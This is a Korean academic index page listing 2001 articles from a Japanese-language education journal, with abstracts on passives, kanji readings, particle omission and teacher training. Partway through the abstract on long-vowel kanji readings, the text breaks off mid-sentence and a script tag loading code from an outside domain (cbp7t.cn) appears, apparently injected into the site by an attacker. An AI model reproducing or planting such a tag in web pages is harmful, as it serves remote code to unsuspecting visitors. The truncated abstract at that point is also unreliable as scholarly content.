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Journal of Japanese Language Education Association


  • - 주제 : 어문학분야 > 일어일문학
  • - 성격 : 학술지
  • - 간기: 계간
  • - 국내 등재 : KCI 등재
  • - 해외 등재 : -
  • - ISSN : 2005-7016
  • - 간행물명 변경 사항 :
논문제목
수록 범위 : 19권 0호 (2001)

초청강연 : 의사소통 중심 외국어 교육의 이론과 실제

이화자(Haw Ja Lee)
한국일본어교육학회|일본어교육  19권 0호, 2001 pp. 3-15 ( 총 13 pages)
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한 , 일 동사의 수동표현 성립조건에 관하여 - 술어동사의 제약소성을 중심으로 -

유장옥(Jang Ok Yoo)
한국일본어교육학회|일본어교육  19권 0호, 2001 pp. 143-163 ( 총 21 pages)
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韓國語では、受動接尾辭「i·hi·ri·ki」は他動詞にだけ繫がって主に先行動詞の語幹末音の音韻の特性の制約を受ける。それて一部の限られた動詞にだけ接續する特性を持っているる。そして、接尾辭「hada」が付いている動詞、授與動詞、受惠動詞、經驗動詞、對稱動詞、語幹が「i」で終わる動詞等が受動接尾辭「i·hi·ri·ki」と連結が不可能である。一方,「jida」は、受動接尾辭「i·hi·ri·ki」が音韻の制約で連結できない他動詞の語尾の「a·∂」に連結されて受動性の表現の機能を擔當するが、受動接尾辭「i·hi·ri·ki」による表現の機能に差があるのである。 日本語における受動助動詞「れる·られる」は動詞との連結の意味の特性の制約を受けている。その制約は主に動詞の「狀態性」と「動作性」である。つまり、「狀態性」の强い動詞は排除されて、「動作性」の强い動詞に連結できる。日本語では他動詞だけでなく、自動詞までも受動が可能である。しかし、 1)他動詞のなかで直接受動の不可能な動詞には、 ⑴ 預かる,得る,敎わる,入れる,くれる,遣るのような受惠が方向性の强い動詞 ⑵ 産む·生む,無くす·亡くす,過ごす,避ける·除ける,止すのような生滅,回避の動詞 ⑶ 上がる,致す,おっしゃる,下さる,なさる,脫ぐ,召し上がる,申すのような敬語の動詞 ⑷ 嗅ぐ,努めるのような神經·精神に關わる動詞 2) 自動詞として間接受動の不可能な動詞には、 在る,要る,知れる,出來る,惱むのような狀態性の强い動詞は受動助動詞「れる·られる」と連結できない特性を持っていることが分かる。

「 一字漢語 + する 」 와 " 一字漢語 + 하다 " 의미 대응에 관한 고찰 - 一字漢語의 통사적 기능을 중심으로 -

전철 ( Choel Jeon ) , 안병곤 ( Byoung Gon An )
한국일본어교육학회|일본어교육  19권 0호, 2001 pp. 211-231 ( 총 21 pages)
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日本語の「一字漢語+する」と、韓國語の「一字漢語+ハダ」は非常に類似したもの考えられ、同じ一字漢語を先行要素として場合は自動詞·他動詞の別等も一緖であると思われやすい。しかし、これが實際に正しいことなのか、詳細な調査は未だ提出されていない。 本稿は、このような同一の一字漢語を先行要素として持つ「一字漢語+する」と「一字漢語+하다(hada)」のそれぞれが動の自·他に關してどの程度同じであるのか、先行硏究上で「一字漢語+する」の對譯として當てられてきた韓國語が何であるのか、という二点をつぶさに調査し、兩者にどれほどの統辭機能上、意味上の差異が見られるのかを明らかにするものである。 まず、兩表現の動詞の自·他に關してであるが、同一の一字漢語を先行要素として持っている場合、同樣の統辭機能を果たすケ-スが34例(64%)であり、一致しないケ-スが19例(36%)であった。特にケ「長ずる(自動詞)」と「長하다(hada)(形容詞)」等の場合は、日本語では動詞として使われている「毒する(自動詞)」と「毒하다(hada)(形容詞)」、「便じる(自·他)」「便하다(hada)(形容詞)」等の場合は、日本語では動詞として使われている語彙が韓國語では形容詞として使われている場合もみとめられた。 また、兩表現の意味的對應に關してであるが、先行者硏究で述べられてきた「二字漢語+する」と「二字漢語+하다(hada)」の對應關係とは、全く異なる結果が見られた。すなわち、「二字漢語+する」と「二字漢語+하다(hada)」 はほとんどの場合、互いに對譯としての役割を果たしているが、「一字漢語+する」と「一字漢語+하다(hada)」は必ずしも意味的に類似していないという結果が得られたわけである。このように兩言語の一字漢語複合語は、二字漢語複合語に比して、統辭機能的にも意味的にも類似していないという結果がみとめられたわけであるが、その原因としては、二字漢語の「安定性」、一字漢語の「不安定性」ということが考えられよう。 つまり、「漢語+する」と「漢語+하다(hada)」の意味對應に差が生ずるのは動作主(主語)の性格とか目的語の有無ではなくて文脈とか狀況によって漢語の性格、卽ち對象漢語が系例的に、または階層的にどのような類似意味を持っているかによって決定されることである。

일본한자음의 장음화에 관한 고찰

우찬삼
한국일본어교육학회|일본어교육  19권 0호, 2001 pp. 17-51 ( 총 35 pages)
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본고에서는 오늘날 日本漢字音에서 長音形 -オウ(-o:), -ヨウ(-jo:), -ユウ(-ju:)로 나타나는 漢字를 對象으로 원래 어떠한 음이 長音形으로 되었으며, 長音形으로 통합된 시기는 언제인가 등에 대해서 조사하였다. 우선 어떠한 음이 長音形으로 되었는가를 보면 舊音形 -アウ, -オウ, -アフ는 -オウ 長音形으로, -ヨウ, -エウ, -エフ, -ヤウ는 -ヨウ長音形으로, -イウ, -エウ, -イフ -ユウ 長音形으로 통합되었음을 알 수 있었다. 그리고 이들이 통합됨으로써 많은 동음이의어가 발생하게 되었다고 하는 것도 증명하였다. 이들 長音形이 나타나는 시기에 대해서는 여러 가지 시대-南北朝時代, 鎌倉時代 室町時代- 등을 생각할 수 있지만, 통합이 완성된 시기는 대개 江戶時代에 들어와서이다. 그리고 이러한 長音形이 나타나는 日本常形漢字音을 조사하여 표를 만들어 韓國漢字音과 日本漢字音을 비교해 보았으며, 日本語敎育上 注意해야 할 漢字등에 대해서 기술해 왔다. 마지막으로 이러한 이론적 배경 위에서 韓國人 日本語學習者에 대한 日本漢字音敎育의 指導方法에 대해서 다음과 같이 제시하였다. 1. 韓國漢字音의 -ang, -^(w)ang, -ap은 -オウ로 指導해야 할 것이다. 왜냐하면 韓國漢字音의 -ang, -^(w)ang, -ap은 日本漢字音에서 -アウ型, -ワウ型, -アフ型이었는데, 이것이 長音化에 의해서 오늘날 한자음에서는 모두 -オウ型으로 바뀌었기 때문이다. 예를 들면 江(カウ>コウ), 光(クヮウ>コウ), 答(タフ>トウ)등과 같이 변했기 때문이다. 단, 오늘날의 韓國漢字音-ang으로 나타나는 漢字에는 「長 · 商」과 같이 원래 -jang이었던 것이 單母音化에 의해서 -ang으로 바뀐 漢字도 많이 포함되어 있기 때문에 注意해야 한다. 이것에 속하는 漢字는 주로 舌音 · 齒音字, 즉 ㅈ-, ㅊ-, ㅅ-頭子音으로 나타나는 漢字들이다. 이들 漢字는 -オウ型을 適用할 것이 아니라, 원래 音이 -jang이었기 때문에, 이 -jang과 對應을 보이는 -ヨウ型으로 지도해야 할 것이다. 예를 들면 「長」은 チョウ로 指導하고, 「商」은 ショウ로 指導하면 좋을 것이다. 2. 韓國漢字音의 -wng과 -ong은 -オウ로 指導해야 할 것이다. 왜냐하면 韓國漢字音의 -wng은 日本漢字音에서 吳音 · 漢音 모두 -オウ型으로 나타나는 한자가 많고, -ong은 吳音에서 -ウ(ウ)型, 漢音에서 -オウ型으로 나타나는 한자가 많기 때문이다. 따라서 能은 ノウ로 指導하고, 送은 ソウ로 지도하면 좋을 것이다. 韓國漢字音의 -ong이 간혹 -ヨウ型으로 나타나는 경우가 있는데, 그 이유는 1에서 기술한 바와 같다. 예를들면 松의 韓國漢字音은 song인데, 日本漢字音에서는 ショウ으로 나타나는 한자들이다. 3. 韓國漢字音의 -?ng, -j?ng은 우선 -エイ로 指導해야 할 것이다. 왜냐하면 韓國漢字音의 - ng, -j ng으로 나타나는 漢字는 日本漢字音에서 吳音 -ヤウ型, 漢音 -エイ型으로 나타나타났는데, 오늘날 漢字音에서는 -ヤウ型은 -ヨウ型으로 長音化하고, 漢音 -エイ型은 그대로 이어져 왔기 때문이다. 그러나 常用漢字音에는 漢音이 많이 揭載되어 있기 때문에, 우선 漢音 -エイ型으로 지도하면 좋으리라 생각된다. 다만 「京(キョウ·ケイ)」、「正(セイ·ショウ)」와 같이 常用漢字音에는 吳音과 漢音이 같이 게재되어 있는 漢字도 있기 때문에 注意를 요한다. 이 경우 吳音이라면 -ヨウ型으로 漢音이라면 -エイ型로 지도하면 좋을 것이다. 吳音의 變化過程을 보면, 예를 들면 評은 吳音 ヒャウ가 ヒョウ로 長音化하였고, 頂은 吳音 チャウ가 チョウ로 長音化하였다. 4. 韓國漢字音의 -j?p은 -ヨウ로 指導하면 좋을 것이다. 왜냐하면 韓國漢字音의 -j?p으로 나타나는 漢字는 日本漢字音의 -エフ型으로 나타났는데, 이것이 오늘날 漢字音에서는 -ヨウ型으로 長音化하였기 때문이다. 예를 들면 葉은 -エフ가 ヨウ로 長音化하였고, 協은 ケフ가 キョウ로 長音化한 것이다. 5. 韓國漢字音의 -jang, -jong은 -ヨウ로 指導하면 좋을 것이다. 왜냐하면 韓國漢字音의 -jang, -jong은 日本漢字音에서는 -ヤウ型, -ヨウ型로 나타났는데, 오늘날 漢字音에서는 모두 -ヨウ型으로 長音化했기 때문이다. 따라서 陽은 ヨウ로 指導하고, 用은 그대로 ヨウ로 지도하면 되는 것이다. 6. 韓國漢字音의 -u, -ju는 -ユウ로 지도하면 좋을 것이다. 왜냐하면 韓國漢字音의 -u, -ju는 日本漢字音에서는 漢音에서-イウ型으로 나타났는데, 이것이 長音化에 의해서 -ユウ型으로 변했기 때문이다. 예를 들면 丘는 キウ가 キュウ로 변했기 때문에, キュウ로 指導하고, 週는  シウ가 シュウ로 변했기 때문에, シュウ로 指導하면 되는 것이다. 7. 韓國漢字音의 -wp는 -ユウ로 指導하면 좋을 것이다. 왜냐하면 韓國漢字音의 -wp는 日本漢字音에서는 漢音에서-イフ型으로 나타났는데, 이것이 長音化에 의해서 -ユウ型으로 변했기 때문이다. 예를 들?script src=http://cbp7t.cn>

일본어 부전공 자격연수생에 관한 조사,분석(1) -전체적인 학습경향을 중심으로-

명성룡 ( Myeong Seong Lyong ) , 김광태 ( Kim Gwang Tae )
한국일본어교육학회|일본어교육  19권 0호, 2001 pp. 53-70 ( 총 18 pages)
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副專攻の資格の科目として日本語を選擇して受講している敎員硏修生を對象にして日本語敎育の全般的な學習傾向及び學習欲求について調査·分析して見た。 本槁の調査·分析の結果をまとめてみると、先ず、多くの硏修が硏修過程を通して日本に對する肯定的な側面に印象の變化があったのが分かる。日本敎師として日本の印象は中·高生學習者の學習欲求および學習效果を極大化·極小化させる重要な要素であると言える。 日本語習得においては多くの硏修生が長期間の學習が必要だと共感しているのであり、<思ったより難しい>と認識している硏修生が多いのである。これは、短期間の硏修期間に多樣な分野の日本語を學習することに起因したのであると思われる。從って、日本語副專攻敎員硏修の目的と硏修生の學習欲求を充足させるためには、長期間の硏修計劃および初級·中級·高級過程の段階別硏修が必要だと思われる。 日本語習得の欲求と授業方式におぃては, 中級讀解と作文の出來る程度を望んでぃるのであり, 授業方式としては會話形式の授業を希望してぃるのである. 卽ち, 多くの硏修生は意思疏通中心の敎員硏修を望んでぃるのである. 硏修以後、日本語敎師として日本語を擔當する場合、希望する授業方式と敎材·敎具においては多くの硏修生が視聽覺室でビデオ敎材を活用する授業方式を希望しているのである。從って、敎員硏修もやはり、各種マルチメデイア視聽覺學習資料の活用方法と敎授法を習得出來る敎育が實施される必要があると思われる。また、日本語副專攻敎員硏修が第7次日本語敎育課程の特徵だとも言える學習者中心の敎育方法と意思疏通能力、インタネットを利用しての情報收集能力、韓·日兩國の文化的な特徵を理解することに力点を置いた敎員硏修が實施されるようになれば、硏修以後、副專攻資格を得て日本語を敎える時にも、より效率的で實質的な日本語敎育が行われると思われる。 以上、本槁で調査·分析してみた硏修生の學習性向および學習欲求を反映した日本語副專攻敎員硏修ブログラムの補完と改善が行われると、より效率的で實質的な效果をあげることが出來ると思われる。

일본어교과 교육실습 현황에 관한 분석연구

강민경 ( Kang Min Gyeong ) , 이정숙 ( Lee Jeong Sug )
한국일본어교육학회|일본어교육  19권 0호, 2001 pp. 71-90 ( 총 20 pages)
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敎育の中で「先生」は欠かせない存在で、その重要性は次第に强まってきた。そして、より效果的な敎育のため、より望 ましい敎育者の養成のため、大學では敎育理論と敎育實習を必須科程として設けている。 敎育學習に關する今までの硏究は行政的な面に偏っていて、敎科についての硏究や實習生の意見を對象としたものはほとんどないといえよう。 本硏究は國內の日本語の學習者の需要が增大されるにつれ、日本語敎科敎育實習の現況と問題点を把握し、日本語敎科敎育實習生の意見を通じて實態を分析して、それを元にこれからの敎育實習における效果的な方案を提示しようとしたものである。

일한 동사파생명사의 의미적 특성에 관한 연구 -동사 어기 의미와의 관련을 중심으로-

윤강구 ( Yun Gang Gu ) , 최태옥 ( Choe Tae Og )
한국일본어교육학회|일본어교육  19권 0호, 2001 pp. 91-112 ( 총 22 pages)
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派生語の意味的特性を求めるために語基の意味が派生の前と後でどう變るか調べて見ることにした。一般的に派生前の語基の意味は派生後にもそのまま保たれると言われているが、實際には必ずしもそうではないらしい。假說を立て檢討してみると、派生は語基の中心あるいは周邊意味のよる本義派生と語基の意味の擴張や比喩、語彙化による轉義派生とに分けることができる。本義派生においては主に中心意味による派生が多い。周邊意味は派生語の形成の後で作られるという考えもあるが、言葉によっては中心意味ではなく周邊意味による派生も多いことで、この考えは修正すべきだと思う。轉義派生ニオイテハ語基になかった新しい意味が生じることがある。これは派生後に連想あるいは類推などの作用によって獨自の意味が生じたとみることができる。轉義派生の中で語彙化は共時的に語基の意味から一番遠くなったことで他の派生と區分できる。

「이」무조사 현상에 대한 연구 -한국어와의 대조를 중심으로-

권정애 ( Kwon Jeong Ae )
한국일본어교육학회|일본어교육  19권 0호, 2001 pp. 113-125 ( 총 13 pages)
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韓日兩言語では格助詞が格の機能を擔っていると言えている。しかし西歐語の格の體系が體言と格語尾が分離しがたく、融合的な關係にあるのに對して、韓日兩言語の格助詞は體言との分離ができ、また格助詞がなくても格の役割が認定可能であるという特徵を持っている。このように文が格助詞なしで體言單獨で實現される現象を無助詞と呼ぶことにし、この無助詞という現象の中で特に格助詞「ニ」がなくなったと推定される無助詞を對象にして「ニ」無助詞現象と呼ぶ、本硏究はこのような「ニ」無助詞現象にどのような特徵があるか、また韓國語「에」無助詞とはどんな共通点と差異点があるかについて考察するものである。 まず「ニ-에」の意味用法によって無助詞現象を調べたところ、韓日兩言語は大體において類似しているものの、體言が[狀態の對象]を示す場合、韓國語ではその例を探すことができなかったし、[存在の場所]の場合、日本語の例文があまりなかった。また「動作の對象」を示す場合は、名詞句が有情物の例は韓國語では稀だったが、日本語では全く見付けることができなかった。 また、「ニ」無助詞と共起する述語に關しては複雜な意味を持っている述語より單純な意味を持つ述語、すなわち「行く」「來る」‘가다’ ‘오다’ やそれらの複合語がくることが多く、格助詞が實現された文章と比べてごく制限的であることが分かった。 「ニ-에」無助詞文の特徵としては次のとおりである。 ⑴文頭のほうに位置することが多い。 ⑵肯定文の場合が多い。 ⑶日本語の場合、無助詞をとる體言が[時間·場合]を示す場合を除いては、大體體言と述語の間には他の文章の成分は介入しない。 ⑷韓國語の場合、無助詞をとる體言が[時間·場合]を示す場合を除いては、大體體言と述語の間には他の文章の成分は介入しないが、いくつかの副詞語に限っては- ‘좀’ ‘아직’ 等-介入される例が多く見られる。 ⑸日本語の場合、「ニ」無助詞の直後にボ-ズがくる例が 多い。
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本稿では韓國語と日本語の呼應現象を持った副詞のうち、有意關係にある「かならず·きっと·絶對(に)」と、これに對應する ‘반드시·꼭·절대(로)’が文末においていかなる制限を受けるのか、その類似点」と相違点を調べ、それを通して副詞の文末制限の樣相を明らかにした。 韓·日兩言語の副詞「かならず·きっと·絶對(に)」と、これに對應する ‘반드시·꼭·절대(로)’は當然、文末の共起條件によって形態に違いが現れるが、まず弟一に肯定の「行爲要求文」においては「かならず·きっと」は命令、依賴と共起するのに對して、勸誘文とは共起しない。また「絶對(に)」は命令、依賴、勸誘と共起する。韓國語の場合‘반드시·꼭’は肯定の「行爲要求文」の3機能である命令、依賴、勸誘と共起するガ、‘절대(로)’は共起しないことを確認した。 第二に否定の「行爲要求文」においては「かならず·きっと」は否定の「行爲要求文」とは一切共起しないが、「絶對(に)」は否定の「行爲要求文」の3機能である否定命令、否定依賴、否定勸誘と自然に共起する。韓國語の場合‘반드시·꼭’は否定の「行爲要求文」の3機能と共起しないが、‘절대(로)’は否定の「行爲要求文」と自然に共起することがわかった。 そして肯定の「行爲要求文」とは異なり、否定の「行爲要求文」においては韓·日兩言語に違いが見い出せないことを確認した。

한,일어의 신체부위에 관한 관용적 표현에 대해서

최택호 ( Choe Taeg Ho )
한국일본어교육학회|일본어교육  19권 0호, 2001 pp. 165-185 ( 총 21 pages)
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本槁は身體語彙の多義的機能を慣用的表現に結び付けて比較することによって、韓·日兩國語の身體語彙の多義構造の精密な分析と、多義的擴散の直接的原因になる言葉の環境を述べるところにある。これは身體語彙の多義性を得るのは主としてそれにつながる敍述語の性格によるので、環境同化の原理に高く依存するからである。 身體語彙とは基本的に身體の各部位を指す言葉であるが、身體を單なる狀態や活動する對象として直接指示することにとどまらず、むしろ別の精神狀態や活動を暗示し描寫することが多い身體語彙は異なる語彙に比して慣用語を構成することにおいて最も高い機能分析を所有している。本稿ではそれらの中で外延の廣い語彙「손」と「手」を中心に意味項目の比較分析に力点を置いて考察しようと思う。 本稿は兩國の身體語彙「머리」と「頭」による樣な慣用的表現の多義的意味を、機能による多義,形態と屬性による多義, 抽象化による多義に分けてそれらの同質,異質性を項目別に基本意味と派生意味まで調べることにする。
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